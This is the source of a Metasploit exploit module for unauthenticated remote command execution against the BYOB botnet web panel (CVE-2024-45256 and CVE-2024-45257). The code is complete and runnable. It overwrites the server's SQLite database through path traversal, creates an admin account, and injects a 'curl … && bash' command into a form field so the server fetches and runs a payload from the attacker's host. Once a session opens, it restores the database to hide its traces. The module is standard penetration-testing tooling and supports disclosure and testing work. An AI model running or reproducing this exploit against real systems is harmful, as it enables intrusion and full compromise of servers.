##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'sqlite3'
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  prepend Msf::Exploit::Remote::AutoCheck
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'BYOB Unauthenticated RCE via Arbitrary File Write and Command Injection (CVE-2024-45256, CVE-2024-45257)',
        'Description' => %q{
          This module exploits two vulnerabilities in the BYOB (Build Your Own Botnet) web GUI:
          1. CVE-2024-45256: Unauthenticated arbitrary file write that allows modification of the SQLite database, adding a new admin user.
          2. CVE-2024-45257: Authenticated command injection in the payload generation page.
          These vulnerabilities remain unpatched.
        },
        'Author' => [
          'chebuya',          # Discoverer and PoC
          'Valentin Lobstein' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-45256'],
          ['CVE', '2024-45257'],
          ['URL', 'https://blog.chebuya.com/posts/unauthenticated-remote-command-execution-on-byob/']
        ],
        'Platform' => %w[unix linux],
        'Arch' => %w[ARCH_CMD],
        'Targets' => [
          [
            'Unix/Linux Command Shell', {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Privileged' => true
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DisclosureDate' => '2024-08-15',
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'SRVPORT' => 5000 },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options(
      [
        OptString.new('USERNAME', [false, 'Username for new admin', 'admin']),
        OptString.new('PASSWORD', [false, 'Password for new admin', nil])
      ]
    )
  end
  def primer
    add_resource('Path' => '/', 'Proc' => proc { |cli, req| on_request_uri_payload(cli, req) })
    print_status('Payload is ready at /')
  end
  def on_request_uri_payload(cli, request)
    handle_request(cli, request, payload.encoded)
  end
  def handle_request(cli, request, response_payload)
    print_status("Received request at: #{request.uri} - Client Address: #{cli.peerhost}")
    case request.uri
    when '/'
      print_status("Sending response to #{cli.peerhost} for /")
      send_response(cli, response_payload)
    else
      print_error("Request for unknown resource: #{request.uri}")
      send_not_found(cli)
    end
  end
  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true
    })
    if res
      doc = res.get_html_document
      unless doc.at('title')&.text&.include?('Build Your Own Botnet') || doc.at('meta[name="description"]')&.attr('content')&.include?('Build Your Own Botnet')
        return CheckCode::Safe('The target does not appear to be BYOB.')
      end
    else
      return CheckCode::Unknown('The target did not respond to the initial check.')
    end
    print_good('The target appears to be BYOB.')
    random_data = Rex::Text.rand_text_alphanumeric(32)
    random_filename = Rex::Text.rand_text_alphanumeric(16)
    random_owner = Rex::Text.rand_text_alphanumeric(8)
    random_module = Rex::Text.rand_text_alphanumeric(6)
    random_session = Rex::Text.rand_text_alphanumeric(6)
    form_data = {
      'data' => random_data,
      'filename' => random_filename,
      'type' => 'txt',
      'owner' => random_owner,
      'module' => random_module,
      'session' => random_session
    }
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'file', 'add'),
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => form_data,
      'keep_cookies' => true
    })
    if res&.code == 500
      return CheckCode::Vulnerable
    else
      case res&.code
      when 200
        return CheckCode::Safe
      when nil
        return CheckCode::Unknown('The target did not respond.')
      else
        return CheckCode::Unknown("The target responded with HTTP status #{res.code}")
      end
    end
  end
  def get_csrf(path)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, path),
      'keep_cookies' => true
    })
    fail_with(Failure::UnexpectedReply, 'Could not retrieve CSRF token') unless res
    csrf_token = res.get_html_document.at_xpath("//input[@name='csrf_token']/@value")&.text
    fail_with(Failure::UnexpectedReply, 'CSRF token not found') if csrf_token.nil?
    csrf_token
  end
  def register_user(username, password)
    csrf_token = get_csrf('register')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'register'),
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'csrf_token' => csrf_token,
        'username' => username,
        'password' => password,
        'confirm_password' => password,
        'submit' => 'Sign Up'
      },
      'keep_cookies' => true
    })
    if res.nil?
      fail_with(Failure::UnexpectedReply, 'No response from the server.')
    elsif res.code == 302
      print_good('Registered user!')
    else
      fail_with(Failure::UnexpectedReply, "User registration failed: #{res.code}")
    end
  end
  def login_user(username, password)
    csrf_token = get_csrf('login')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'login'),
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'csrf_token' => csrf_token,
        'username' => username,
        'password' => password,
        'submit' => 'Log In'
      },
      'keep_cookies' => true
    })
    if res.nil?
      fail_with(Failure::UnexpectedReply, 'No response from the server.')
    elsif res.code == 302
      print_good('Logged in successfully!')
    else
      fail_with(Failure::UnexpectedReply, "Login failed: #{res.code}")
    end
  end
  def generate_malicious_db
    mem_db = SQLite3::Database.new(':memory:')
    mem_db.execute <<-SQL
            CREATE TABLE user (
            id INTEGER NOT NULL,
            username VARCHAR(32) NOT NULL,
            password VARCHAR(60) NOT NULL,
            joined DATETIME NOT NULL,
            bots INTEGER,
            PRIMARY KEY (id),
            UNIQUE (username)
            );
    SQL
    mem_db.execute <<-SQL
            CREATE TABLE session (
            id INTEGER NOT NULL,
            uid VARCHAR(32) NOT NULL,
            online BOOLEAN NOT NULL,
            joined DATETIME NOT NULL,
            last_online DATETIME NOT NULL,
            public_ip VARCHAR(42),
            local_ip VARCHAR(42),
            mac_address VARCHAR(17),
            username VARCHAR(32),
            administrator BOOLEAN,
            platform VARCHAR(5),
            device VARCHAR(32),
            architecture VARCHAR(2),
            latitude FLOAT,
            longitude FLOAT,
            new BOOLEAN NOT NULL,
            owner VARCHAR(120) NOT NULL,
            PRIMARY KEY (uid),
            UNIQUE (uid),
            FOREIGN KEY(owner) REFERENCES user (username)
            );
    SQL
    mem_db.execute <<-SQL
            CREATE TABLE payload (
            id INTEGER NOT NULL,
            filename VARCHAR(34) NOT NULL,
            operating_system VARCHAR(3),
            architecture VARCHAR(14),
            created DATETIME NOT NULL,
            owner VARCHAR(120) NOT NULL,
            PRIMARY KEY (id),
            UNIQUE (filename),
            FOREIGN KEY(owner) REFERENCES user (username)
            );
    SQL
    mem_db.execute <<-SQL
            CREATE TABLE exfiltrated_file (
            id INTEGER NOT NULL,
            filename VARCHAR(4096) NOT NULL,
            session VARCHAR(15) NOT NULL,
            module VARCHAR(15) NOT NULL,
            created DATETIME NOT NULL,
            owner VARCHAR(120) NOT NULL,
            PRIMARY KEY (id),
            UNIQUE (filename),
            FOREIGN KEY(owner) REFERENCES user (username)
            );
    SQL
    mem_db.execute <<-SQL
            CREATE TABLE task (
            id INTEGER NOT NULL,
            uid VARCHAR(32) NOT NULL,
            task TEXT,
            result TEXT,
            issued DATETIME NOT NULL,
            completed DATETIME,
            session VARCHAR(32) NOT NULL,
            PRIMARY KEY (id),
            UNIQUE (uid),
            FOREIGN KEY(session) REFERENCES session (uid)
            );
    SQL
    base64_data = Tempfile.open('database.db') do |file|
      src_db = SQLite3::Database.new(file.path)
      backup = SQLite3::Backup.new(src_db, 'main', mem_db, 'main')
      backup.step(-1)
      backup.finish
      binary_data = File.binread(file.path)
      Rex::Text.encode_base64(binary_data)
    end
    base64_data
  end
  def upload_database_multiple_paths
    successful_paths = []
    filepaths = [
      '/proc/self/cwd/buildyourownbotnet/database.db',
      '/proc/self/cwd/../buildyourownbotnet/database.db',
      '/proc/self/cwd/../../../../buildyourownbotnet/database.db',
      '/proc/self/cwd/instance/database.db',
      '/proc/self/cwd/../../../../instance/database.db',
      '/proc/self/cwd/../instance/database.db'
    ]
    filepaths.each do |filepath|
      form_data = {
        'data' => @encoded_db,
        'filename' => filepath,
        'type' => 'txt',
        'owner' => Faker::Internet.username,
        'module' => Faker::App.name.downcase,
        'session' => Faker::Alphanumeric.alphanumeric(number: 8)
      }
      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'api', 'file', 'add'),
        'ctype' => 'application/x-www-form-urlencoded',
        'vars_post' => form_data,
        'keep_cookies' => true
      )
      successful_paths << filepath if res&.code == 200
    end
    successful_paths
  end
  def on_new_session(session)
    if session.type == 'meterpreter'
      binary_content = Rex::Text.decode_base64(@encoded_db)
      print_status('Restoring the database via Meterpreter to avoid leaving traces.')
      successful_restore = false
      @successful_paths.each do |remote_path|
        remote_file = session.fs.file.new(remote_path, 'wb')
        remote_file.syswrite(binary_content)
        remote_file.close
        successful_restore = true
      end
      if successful_restore
        print_good('Database has been successfully restored to its clean state.')
      else
        print_error('Failed to restore the database on all attempted paths, but proceeding with the exploitation.')
      end
    else
      print_error('This is not a Meterpreter session. Cannot proceed with database reset, but exploitation continues.')
    end
  end
  def exploit
    # Start necessary services and perform initial setup
    start_service
    primer
    # Define or generate admin credentials
    username = datastore['USERNAME'] || 'admin'
    password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)
    # Generate and upload the malicious SQLite database
    print_status('Generating malicious SQLite database.')
    @encoded_db = generate_malicious_db
    @successful_paths = upload_database_multiple_paths
    if @successful_paths.empty?
      fail_with(Failure::UnexpectedReply, 'Failed to upload the database from all known paths')
    else
      print_good("Malicious database uploaded successfully to the following paths: #{@successful_paths.join(', ')}")
    end
    # Register the new admin user
    print_status("Registering a new admin user: #{username}:#{password}")
    register_user(username, password)
    # Log in with the newly created admin user
    print_status('Logging in with the new admin user.')
    login_user(username, password)
    # Prepare the malicious payload and inject it via command injection
    print_status('Injecting payload via command injection.')
    uri = get_uri.gsub(%r{^https?://}, '').chomp('/')
    random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
    malicious_filename = "curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename}"
    payload_data = {
      'format' => 'exe',
      'operating_system' => "nix$(#{malicious_filename})",
      'architecture' => 'amd64'
    }
    # Send the command injection request
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'payload', 'generate'),
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => payload_data,
      'keep_cookies' => true
    }, 5)
    # Keep the web server running to maintain the service
    service.wait
  end
end